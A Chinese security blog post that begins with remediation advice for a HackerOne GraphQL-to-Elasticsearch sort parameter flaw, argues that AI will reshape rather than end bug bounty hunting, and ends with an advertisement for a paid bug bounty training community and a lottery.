🌐 影响范围	除 NotificationsIndex 外，DuplicateDetectorReportsIndex、OpportunitiesIndex、Organization.findings_search 等多个接口均暴露相同参数，存在横向扩散风险。

🛡️ 修复建议 & 架构安全指南

HackerOne 官方建议

1. 移除 sort_query: String，改用强类型 GraphQL Input（如 SortInput），在 Schema 层完成字段白名单校验。

2. 对同类接口进行统一收敛与重构，杜绝自由文本参数直连搜索引擎。

 给开发者的架构安全建议

场景	❌ 错误做法	✅ 正确实践
GraphQL + ES/DB 查询拼接	sort: req.params.sort_query （直接透传）	使用枚举/白名单映射：allowedFields = ['id','created_at']，校验后动态构建 DSL
脚本引擎调用	允许用户传入 script.source	禁用动态脚本，或强制使用预编译缓存脚本（id 引用）+ 严格沙箱策略
权限过滤时机	先排序/聚合，后在 Resolver 层过滤	权限下推 ：在 ES 查询阶段通过 terms/script 注入用户 ID 过滤，确保排序前已隔离数据
资源防护	无限制执行用户脚本	设置 max_compilation_memory_limit、script.max_execution_time，并启用集群监控告警

安全无小事，平台自身也需“打补丁”

HackerOne 作为全球漏洞赏金领域的标杆，此次被“自家平台”挖出高危漏洞，再次印证了一个道理：安全不是护城河，而是持续迭代的工程实践。 研究员克制、严谨的验证方式也为我们树立了白帽典范：证明漏洞存在即可，不越界、不破坏、不滥用。

对于正在使用 GraphQL + Elasticsearch 架构的团队，建议立即排查：

• 是否存在 String 类型参数直接拼接至搜索 DSL？

• 是否开放了 _script、aggs.script、highlight.fields 等动态字段？

• 权限过滤是否真正发生在数据检索的最底层？

安全架构的最后一道防线，往往藏在最不起眼的参数校验里。

导语

过去十几年，Bug Bounty 一直被视为网络安全行业里最“公平”的赛道之一。

它不完全看学历，不完全看公司背景，也不完全看你是不是安全圈里的人。只要你技术够硬、耐心够足、运气够好，就有机会从 Google、Microsoft、Apple、Meta 等大厂拿到几千甚至数万美元的漏洞奖励。

但进入 2026 年，一个问题开始被越来越多安全研究员讨论：

AI 会不会让漏洞赏金行业走向终结？

近期，SecurityWeek 发表文章《Will AI Kill the Bug Bounty Industry?》，认为 Anthropic 等公司的新一代 AI 正在把漏洞发现速度提升到“机器级别”，整个行业正在发生根本变化。与此同时，不少一线漏洞猎人也承认：AI 已经彻底改变了他们的工作方式。

那么，AI 真的会杀死 Bug Bounty 吗？

更准确的答案或许是：

不会。但它会重新定义这个行业。未来被淘汰的，可能不是漏洞赏金，而是只会做重复劳动的普通漏洞猎人。

Bug Bounty 为什么如此吸引人？

Bug Bounty，也就是漏洞赏金计划，本质上可以理解为：

企业向全球安全研究员公开悬赏，请他们帮助发现系统中的安全漏洞。

例如：

• Google Vulnerability Reward Program

• Microsoft Bug Bounty

• Apple Security Bounty

• Meta Bug Bounty

研究员发现漏洞后，按照平台规则提交报告。一旦漏洞被确认，就可以获得对应奖励。

在过去很长一段时间里，Bug Bounty 对很多安全爱好者来说，都有一种独特的吸引力。

它不像传统求职那样，过分强调学历、履历、公司背景；它更看重实际能力。

你能不能发现漏洞？ 能不能复现问题？ 能不能写出清晰报告？ 能不能证明风险真实存在？

这些，往往比简历上的标签更重要。

也正因为如此，许多知名安全研究员并不是传统安全公司的员工，而是独立研究者、自由漏洞猎人，甚至是业余安全爱好者。

Bug Bounty 曾经提供了一个相对开放的舞台：

只要你足够强，就有机会被看见。

但问题是，当 AI 也开始走上这个舞台，规则就变了。

AI带来的第一场冲击：漏洞发现速度暴涨

过去寻找漏洞，大致流程是：

其中大量时间花费在：

• 资产收集

• 子域名枚举

• 参数分析

• API 枚举

• JavaScript 文件分析

• 路径发现

• 端点整理

这些工作非常依赖耐心，也很容易陷入重复劳动。

而 AI，尤其是结合 Agent 工作流之后，正在快速改变这一局面。

如今，越来越多研究员开始使用类似：

• Claude Code

• Cursor

• OpenAI Codex类工具

• Agent工作流

AI 可以长时间阅读代码、分析项目结构、梳理接口逻辑，甚至自动整理潜在风险点。

过去可能需要几天完成的资产梳理和代码阅读，现在可能被压缩到几个小时，甚至更短。

这意味着什么？

意味着漏洞发现不再只是少数高手之间的较量。

当 AI 工具普及之后，更多人可以以更低成本、更高效率进入漏洞挖掘流程。

于是，一个新的问题出现了：

如果大家都用 AI 找漏洞，那么同一个漏洞是不是会更快被别人发现？

答案是：是的。

最大的问题不是AI找到漏洞，而是重复报告

Bug Bounty最怕什么？

不是没有漏洞。

而是：

Duplicate（重复提交）。

假设某网站存在一个IDOR漏洞。

以前：

可能只有少数高手能够发现。

而现在是这样的：

数百个AI Agent可能同时扫描出同一个问题。

最终结果就是：

第一位提交的人获得奖金。

后面所有人收到一句：

重复提交

奖励：0元。

这也是为什么不少漏洞猎人开始感受到压力。

AI 并没有直接消灭 Bug Bounty，但它显著提高了竞争强度。

以前，你可能是在和一群高水平研究员竞争。

现在，你可能是在和大量 AI Agent、自动化脚本、批量扫描工具竞争。

速度，变得越来越重要。

AI还制造了大量"垃圾报告"

Bug Bounty平台近年来还有另一个困扰：

AI降低了提交门槛。

以前需要：

发现漏洞
↓
验证漏洞
↓
写报告

如今很多变成了：

于是，大量低质量报告开始涌入平台。

这些报告通常存在几个问题：

• 漏洞不可利用

• 问题早已被发现

• 属于误报

• 风险被夸大

• 缺少有效复现步骤

• 没有清晰说明业务影响

对于漏洞赏金平台来说，这会带来明显压力。

审核团队需要花更多时间筛选有效报告，厂商也需要投入更多资源处理无效提交。

有行业观察指出，AI 生成的大量低质量报告，正在增加漏洞平台的审核负担，部分项目也因此开始调整提交策略或提高审核门槛。

换句话说，AI 让“提交漏洞”变得更简单，但也让整个生态变得更嘈杂。

AI最容易取代的是"体力劳动"

很多新人会担心：

以后 AI 是不是什么漏洞都能找？

这个问题不能简单回答“是”或“不是”。

从目前来看，AI 最擅长的，确实是一些高度重复、信息密集、流程明确的工作。

比如：

信息收集

AI 可以帮助研究员快速完成：

爬取网站
↓
整理 JS 文件
↓
枚举 API
↓
发现参数
↓
梳理端点

这类工作，AI 的效率往往远高于人工。

阅读大量代码

面对几十万行代码，人类研究员可能需要几天时间慢慢梳理。

AI 则可以帮助快速建立索引，提取关键逻辑，定位可疑函数和接口。

自动生成PoC

对于一些基础漏洞，AI 可以辅助生成测试脚本、复现步骤，甚至初步验证方案。

这些能力，确实会改变漏洞猎人的工作方式。

但真正高价值的漏洞，往往不是靠简单扫描就能发现的。

比如：

• 复杂业务逻辑漏洞

• 权限设计缺陷

• 多系统联动问题

• 长攻击链组合

• 深藏于业务流程中的越权风险

• 需要结合产品逻辑判断的安全缺陷

这些漏洞，往往需要研究员理解业务、理解设计、理解攻击路径。

AI 可以提供线索，但很难完全替代人的判断。

所以，AI 更像是在替代重复劳动，而不是彻底替代安全研究员。

真正的问题不是“AI 会不会找漏洞”，而是：

你会不会用 AI 找到别人找不到的漏洞。

Bug Bounty可能进入"工业化时代"

Bug Bounty的行业演进：

因此真正值钱的不再是：

会不会扫描。

而是：

会不会思考。

未来漏洞猎人的竞争优势可能来自：

• 更好的Prompt

• 更好的Agent流程

• 更好的验证能力

• 更好的业务理解

而不是简单依赖工具。

未来漏洞赏金猎人的工作模式

AI也让厂商面临新的压力

对于企业来说，AI 带来的并不只是漏洞猎人变强。

它还会让漏洞暴露速度变快。

过去，安全研究员发现漏洞后，通常会遵循一定的披露周期，比如常见的 90 天漏洞披露窗口。

企业有时间修复，研究员有时间验证，双方可以在相对可控的节奏内完成漏洞处理。

但在 AI 辅助漏洞分析的时代，情况正在变化。

有观点认为，当漏洞分析、PoC 生成、攻击路径组合都变得更快之后，传统披露周期可能会受到挑战。

尤其是当漏洞细节或补丁差异被快速分析后，攻击者可能更快构造利用方式。

也就是说：

企业可能还没修复完成，攻击者已经完成了利用链。

这对厂商提出了更高要求。

未来企业可能需要：

• 更持续的安全测试机制

• 更快的漏洞响应流程

• AI 辅助代码审计

• 自动化修复建议

• 更严格的补丁发布节奏

• 更成熟的漏洞披露管理策略

安全不再只是“上线前测一次”，而是要贯穿整个软件开发生命周期。

新人还能进入Bug Bounty吗？

这是很多安全新人最关心的问题。

一些一线研究员甚至认为，2026 年可能不是从零开始做 Bug Bounty 最容易的时代。

原因很简单：

入门门槛降低了，但竞争门槛提高了。

以前，一个新人只要掌握基础 Web 安全、会用工具、愿意花时间，就可能找到一些基础漏洞。

但现在，基础扫描、常见漏洞、简单误报，正在被 AI 和自动化工具快速覆盖。

新人如果只是停留在“会用工具”的层面，很难形成竞争力。

但这并不意味着新人没有机会。

真正值得培养的能力，仍然是那些 AI 难以完全替代的部分：

• Web 安全基础

• 操作系统和网络基础

• API 安全理解

• 业务逻辑分析能力

• 代码阅读能力

• 漏洞验证能力

• 报告撰写能力

• AI 工具协同能力

未来真正稀缺的人才，不是“不会用 AI”的人，也不是“只会用 AI”的人。

而是：

能够把 AI 变成生产力的人。

AI不会杀死Bug Bounty，它会淘汰一种人

回到最初的问题：

AI 会扼杀漏洞赏金产业吗？

更可能的答案是：

不会。

只要软件还存在，漏洞就会存在。 只要企业还需要外部安全研究员，Bug Bounty 就有价值。 只要漏洞赏金仍然能帮助企业发现真实风险，这个生态就不会消失。

真正改变的，是竞争规则。

二十年前，安全研究员比拼的是谁更会用工具。 十年前，比拼的是谁写脚本更快。 今天，比拼的是谁能更好地驾驭 AI，完成更高质量的安全研究。

AI 不会消灭漏洞猎人。

但它会淘汰那些只会机械扫描、重复提交、缺乏业务理解和独立思考能力的人。

未来的 Bug Bounty，将不再是简单的“谁扫得多”，而是：

谁想得更深。 谁验证得更准。 谁能发现别人和 AI 都发现不了的漏洞。

这才是 AI 时代下，漏洞猎人真正需要面对的变化。

如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款

如何利用ai辅助挖漏洞

如何在移动端抓包-下

如何绕过签名校验

一款bp神器

挖掘有回显ssrf的隐藏payload

ssrf绕过新思路

一个辅助测试ssrf的工具

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips‍

参考资料

1. SecurityWeek，《Will AI Kill the Bug Bounty Industry?》 https://www.securityweek.com/will-ai-kill-the-bug-bounty-industry/

2. Aituglo，《The State of Bug Bounty in 2026》 https://aituglo.com/state-of-bug-bounty-in-2026/

3. Intigriti，《A(I) future of Bug Bounty》 https://www.intigriti.com/blog/business-insights/ai-future-of-bug-bounty

4. TechRadar，《The next evolution of the penetration test must include agentic AI》 https://www.techradar.com/pro/the-next-evolution-of-the-penetration-test-must-include-agentic-ai

猎手小屋 x 海外SRC预备营 上线啦！

在不确定的漏洞世界里，建立一条确定的成长路径

01 行业趋势

Apple 漏洞赏金计划提高上限到 200 万美元（不包括额外奖励）。即便是长期被全球用户视为极其安全的厂商，仍可能出现可被用于真实攻击链的严重问题；与此同时，主流漏洞奖励计划也在更重视：可复现、可论证、能说明业务影响的研究成果，而不仅是「发现一个点」。

很多人认为，目前的趋势是：漏洞评估正在从「发现一个点」，走向「构造一条链」；从「技术可行」，走向「影响可证」。

参考：[Apple Security Bounty 官方说明](https://security.apple.com/blog/apple-security-bounty-evolved/)

自从 MCP 出现，到 AI + Skill 测试方式的不断演变，同时 AI 安全也备受重视，但 AI 确实在重塑 Bug Bounty：

• • AI 相关攻击面在增加，但传统 Web/API/权限类问题仍占主流。

• • AI 并未替代漏洞研究，而是在资料检索、测试路线整理、复盘与证据表达上，提高研究效率。

• • 这是工具与方法论更成熟的阶段，但入门门槛并未消失——系统训练与稳定执行，反而更重要。

02 新手入门常见痛点与误区

很多人并不缺热情，缺的是一条可执行的路径。常见痛点包括：

• • 【成长路径不明】 资料很多，但路径混乱，不知道先做什么

• • 【缺乏整体流程】 会用工具，但很难把流程跑成闭环

• • 【筛选目标效率不高】 找不到高价值目标，测试投入常常低效消耗

• • 【不清楚如何证明报告的价值】 有发现，却不会写「审核友好」的影响证明

• • 【没有队友反馈互助】 缺少同伴反馈，卡点后容易中断

常见误区包括：

• • 把「收集资产数量」当成「实战进度」，忽略可测入口识别

• • 把「会抓包」误认为「会测试」，缺少验证与记录体系

• • 过早追求复杂技巧，忽略最小可复现闭环

• • 用零散经验替代稳定方法，导致每次都在重复起步

当然，投入大量时间不断试错，也可以慢慢跨过门槛。但问题是：

是否一定要靠独自摸爬滚打、踩坑无数才算入门？

尤其当别人已用成熟方法论配合 AI 提高效率时，时间成本往往是最昂贵的变量。

03 猎手小屋｜介绍

ForOne 安全团队多年专注海外 Bug Bounty 挖掘，多次获 Apple 官方致谢，并持续挖掘一些海外知名厂商的严重/高危漏洞赏金，部分如图：

优秀学员成果节选

然而近年来在 AI 浪潮的影响下，有一定经验的漏洞赏金猎手也得到一些助力，也有很多师傅在公众号私信咨询如何更快上手挖漏洞赏金。团队成员总结了较为快速且又实用的入门路径，主攻 IDOR 和 XSS，包含团队师傅实战案例及其绕过思路，打磨出海外SRC实战预备营课程，作为星球福利之一。

近期团队在运营内部社群，其中有针对漏洞赏金新手的 猎手小屋 知识星球：

• • 海外 SRC 预备营课程21天
  21 Days预备营主线 + 录播主课约 15 小时 + 集中答疑

• • Bug Bounty AI 知识库365天
  3000+ 精品资料及 Write-Ups，知识库支持思路检索与咨询

• • 漏洞挖掘 Checklists365天
  降低测试遗漏

• • Bug Bounty Tips365天
  持续更新（包括但不限于防护绕过、信息搜集思路等）

• • 厂商目标池推荐表365天
  不定期更新

• • 团队实战报告脱敏技术分享365天
  不定期更新（包含Bug Bounty 的思路、方法、复盘等）

• • 互助与组队365天
  认识挖洞 partner，万事开头难，这里挖洞不孤单

预备营 21 天大纲（本期主打）

TimeLine	Lesson Content
Day 1	新手高频问题与开局解法；优秀学员成长案例分析
Day 2	海外 SRC 平台分析；起步最小闭环路径
Day 3	入门路线拆解及学习建议； 解锁内部 AI 知识库
Day 4	目标厂商筛选表； 新手如何选择厂商 SOP
Day 5	Scope/规则/边界判断；新手优先漏洞方向
Day 6	如何持续发现更多自营 BBP；获得私人邀请
Day 7	信息搜集方法论；Recon常见误区规避
Day 8	最小信息收集路径； 自动化脚本实践
Day 9	高价值资产筛选；测试优先级排序思路
Day 10	Burp 测试技巧集合；XSS/IDOR可测点识别 SOP
Day 11	XSS Checklists；报告Impact升级思路
Day 12	XSS Bypass Tips； 内部独家文档《飞燕银梭》
Day 13	IDOR Checklists；IDOR 防护绕过技巧《解牛刀法》
Day 14	课程总结复盘整理；最小闭环实战任务
Day 15 ~ Day 20	实战共学及其作业推进； 2 次集中答疑
Day 21	结营仪式与小组 MVP 结算奖励；参与星球专属抽奖活动

主线任务长期陪伴

学习不是「上完课就结束」。星球内设有主线任务体系：

预习冲刺 → Day1-21 课程 → 目标池实战 → 周打卡 → 报告能力提升 → 专题精进 → 独立挖洞节奏

（加入后可详见星球置顶《主线任务表》）

干货满满，如何加入？

【猎手小屋】星球价格：999 元 / 年（包含2026版海外SRC实战预备营21天课程，后期将随星球内容技术沉淀而调整价格）

如咨询请加助教K，二维码如下：

目前有 30 张优惠券，以下即可领取！！！

附赠福利

完成当期规定课程要求后，可按规则获得如下福利：

• • 「海外 SRC 实战入门班 or 进阶班」任意一个班的 1500元课程抵扣券（将于结营后 7 天内发放）

• • 参与星球年度大抽奖资格（奖品与规则以当期公告为准）

  （于结营后第二个月 1 号开放本年度抽奖入口）

注意： 入门班与进阶班将持续上线，以 ForOne 安全 公众号发布消息为准。

报名前提

• • 懂 HTTP、常见 Web 漏洞名词、会基础抓包

• • 愿意持续动手练习，希望从「懂一点」到能按流程开测

适合谁

• • 副业： 想找上限较高的安全副业

• • 求职： 想有一定漏洞赏金经历，给简历加分

• • 远程： 希望远程办公，平衡工作与生活

重要说明

• • 所有测试须在厂商授权范围与平台规则内进行，严禁未授权渗透。

• • 课程录播、资料、答疑内容仅限报名学员本人学习使用；禁止录屏外传、搬运、二次售卖。

• • 未在课程说明中明确写明的服务，不视为默认交付；如有冲突，以当期星球公告与助教通知为准。

04 抽奖赢现金红包啦

一等奖：京东E卡 500 元 * 1

二等奖：京东E卡 300 元 * 3

三等奖：京东E卡 100 元 * 5

注意：抽奖参与要求！！！

1. 关注公众号

2. 此条推文不设分组（也不屏蔽所有人）并转发至朋友圈

3. 开奖后转发无效，兑奖前不可删除

4. 领奖时添加好友核实

关注公众号 【ForOne安全】

获取课程消息、抽奖活动与更多原创实战技术文章~

期待在安全江湖里，遇见更多满怀热忱、并始终前行的伙伴

感谢大家的支持～